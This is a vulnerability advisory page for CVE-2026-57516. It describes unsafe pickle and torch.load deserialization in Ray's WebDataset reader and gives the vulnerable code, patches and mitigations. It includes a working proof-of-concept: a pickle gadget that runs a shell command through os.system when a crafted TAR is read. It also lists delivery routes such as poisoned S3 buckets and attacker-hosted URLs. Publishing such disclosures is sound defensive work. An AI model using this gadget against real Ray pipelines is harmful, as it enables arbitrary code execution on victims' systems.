CVE-2026-57516 — ray
Fix: ray-project/ray#63469CVE-2026-57516 is a Deserialization of Untrusted Data vulnerability in ray. A fix is available for ray — see the affected versions and patch details below.
Ray < 2.56.0 Unsafe Deserialization RCE via WebDataset Reader
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-57516.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
rayReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ray.data.read_webdataset(paths=...) is a @PublicAPI(stability="alpha")
reader for WebDataset-format TAR files. Its default decoder=True invokes
_default_decoder on every sample's keys, which routes file extension to a
decoder by extension. Two of those branches deserialize attacker-controlled
bytes with no validation:
.pickle/.pkl->pickle.loads(value).pt/.pth->torch.load(io.BytesIO(value), weights_only=False)
Both fire during a standard ray.data.read_webdataset(...).take_all() /
.iter_batches() call. No flags, no opt-in, no environment variable.
An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror,
email attachment, model-zoo, or any HTTP URL the user passes to
read_webdataset) achieves arbitrary code execution in the calling
Ray process at schema-sample time, before row data is consumed.
This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow
Extension Type cloudpickle deserialization, patched in 2.55.0): standard
data-loading API, attacker-controlled file format, deserialization gadget
invoked transparently. The 2.55.0 patch addressed
tensor_extensions/arrow.py:_deserialize_with_fallback and made cloudpickle
opt-in via RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. The
WebDataset path is a different code site and was not touched.
Vulnerable code (HEAD a157d4d)
python/ray/data/_internal/datasource/webdataset_datasource.py lines
175-225, the _default_decoder function:
def _default_decoder(sample, format=True):
sample = dict(sample)
for key, value in sample.items():
extension = key.split(".")[-1]
...
elif extension in ["pt", "pth"]:
import torch
# PyTorch 2.6 changed torch.load default weights_only=True, which
# breaks loading general Python objects previously serialized for
# WebDataset .pt payloads.
sample[key] = torch.load(io.BytesIO(value), weights_only=False) # line 219
elif extension in ["pickle", "pkl"]:
import pickle
sample[key] = pickle.loads(value) # line 223
return sample
The comment for the .pt/.pth branch is itself a security smell: it
documents that the maintainer chose weights_only=False to override
PyTorch 2.6's safer default. The comment treats this as a compatibility
fix; it functionally re-enables an arbitrary-code-execution path that
upstream PyTorch closed.
Reachability and default-on confirmation
python/ray/data/read_api.py:2289 defines read_webdataset with default
decoder=True:
@PublicAPI(stability="alpha")
def read_webdataset(
paths,
*,
...
decoder: Optional[Union[bool, str, callable, list]] = True,
...
) -> Dataset:
...
datasource = WebDatasetDatasource(paths, decoder=decoder, ...)
WebDatasetDatasource._read_stream (line 367) calls the decoder
unconditionally when not None:
for sample in samples:
if self.decoder is not None:
sample = _apply_list(self.decoder, sample, default=_default_decoder)
True is not None evaluates True, so the default decoder fires for every
invocation that doesn't explicitly pass decoder=None (or a custom safe
decoder). The documentation does not warn about the behavior.
End-to-end reproduction
Tested on a fresh venv (pip install ray[data]) on Linux x86_64. Ray
reports __version__ == "2.55.1" (the patched-against-GHSA-mw35 release):
import io, os, pickle, subprocess, tarfile, tempfile, sys
MARKER = "/tmp/ray_webdataset_poc_rce_marker"
class Gadget:
def __reduce__(self):
cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n"
f"pid=%s\\nuser=%s\\n' \"$$\" \"$(whoami)\" > {MARKER}\"")
return (os.system, (cmd,))
with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f:
tar_path = f.name
with tarfile.open(tar_path, "w") as tar:
for name, body in (("000000.txt", b"hello"),
("000000.pkl", pickle.dumps(Gadget()))):
ti = tarfile.TarInfo(name=name); ti.size = len(body)
tar.addfile(ti, io.BytesIO(body))
import ray, ray.data
ray.init(num_cpus=2, ignore_reinit_error=True, log_to_driver=False)
ds = ray.data.read_webdataset(paths=[tar_path])
rows = ds.take_all()
assert os.path.exists(MARKER), "no RCE"
print(open(MARKER).read())
Output:
ray version: 2.55.1
crafted /tmp/tmpjpos115h.tar (10240 bytes)
ds.take_all() returned 1 row(s)
RCE CONFIRMED:marker at /tmp/ray_webdataset_poc_rce_marker:
RCE via ray.data.read_webdataset
pid=248816
user=xyz
The .pt/.pth variant is the exact same primitive against the
torch.load(io.BytesIO(value), weights_only=False) branch; replace the
TAR member with 000000.pt containing torch.save(Gadget()) to reproduce.
Real-world delivery vectors
paths=["s3://bucket/poisoned.tar"]-- the user thinks they are reading a WebDataset shard; the bucket is shared, mis-permissioned, or compromised.paths=["https://attacker/model.tar"]-- HTTP-served WebDataset.- HuggingFace Hub -- WebDataset is a recognized HF dataset format; users
pull TAR shards via
datasetsand feed them to Ray Data. - Model-zoo / leaderboard tarballs -- common in CV/ASR workflows.
Why GHSA-mw35 doesn't cover this
GHSA-mw35-8rx3-xf9r patched tensor_extensions/arrow.py:_deserialize_with_fallback
by gating cloudpickle.loads behind
RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1. That change touches
the Parquet ExtensionType deserialization path only. The advisory text
does not mention WebDataset, the WebDataset code is in a different
module, and the unsafe loads here use pickle.loads and
torch.load(weights_only=False) (not cloudpickle.loads).
Suggested patch
Two minimal options, both Ray-internal:
-
Make the unsafe extensions opt-in, mirroring the GHSA-mw35 fix pattern. Replace the
.pt/.pthand.pkl/.picklebranches with a guard:import os _ALLOW_UNSAFE = os.environ.get( "RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE", "0" ) == "1" elif extension in ["pt", "pth"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to load .pt/.pth member {key!r} from WebDataset " f"with weights_only=False. Set " f"RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 only for trusted " f"sources." ) sample[key] = torch.load(io.BytesIO(value), weights_only=False) elif extension in ["pickle", "pkl"]: if not _ALLOW_UNSAFE: raise ValueError( f"Refusing to unpickle WebDataset member {key!r} -- " f"untrusted pickle is RCE. Provide your own decoder " f"or set RAY_DATA_WEBDATASET_ALLOW_UNSAFE_PICKLE=1 for " f"trusted sources." ) sample[key] = pickle.loads(value) -
Drop these branches from the default decoder entirely and require callers to provide their own decoder when working with .pkl/.pt samples. This is the safer default, matches WebDataset upstream's guidance ("by default, use safe decoders"), and is consistent with the spirit of the GHSA-mw35 patch.
Either option flips the default-on RCE primitive into an explicit
opt-in. The current default-on behavior provides no signal to users
that calling ray.data.read_webdataset on an untrusted TAR is
equivalent to running attacker code.
References
- Source:
python/ray/data/_internal/datasource/webdataset_datasource.py:175-225 - Public API:
python/ray/data/read_api.py:2287-2370(read_webdataset) - Sibling advisory of the same class: GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type, patched 2.55.0)
- Earlier related advisory: PR #45084 (2024) fixed PyExtensionType cloudpickle but did not touch the WebDataset decoder.
- WebDataset format: https://github.com/webdataset/webdataset
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | ray | all versions | 2.56.0pip install --upgrade 'ray==2.56.0' |
Affected Products
rayanyscaleDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ray, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ray to 2.56.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-57516 is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Important vulnerability in Ray's WebDataset reader allows for remote code execution. An attacker could exploit this by providing a specially crafted tar archive to the `read_webdataset()` function, leading to arbitrary code execution within Ray remote workers. This risk is present in Red Hat environments where…
To mitigate this issue, restrict the processing of untrusted tar archives by the Ray WebDataset reader. Ensure that only verified and trusted data sources are supplied to the `read_webdataset()` function. Implement strict access controls and input validation for data ingestion pipelines that interact with Ray's WebDataset reader to prevent the introduction of malicious archives.Source: Red Hat security advisory for CVE-2026-57516 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat AI Inference Server 3.2 | rhaiis/vllm-cuda-rhel9:1787860580 | RHSA-2026:61627 |
| Red Hat AI Inference Server 3.3 | rhaiis/vllm-cuda-rhel9:1789582776 | RHSA-2026:68699 |
Frequently Asked Questions
Is CVE-2026-57516 in your dependencies?
Find it across PyPI, including transitive dependencies.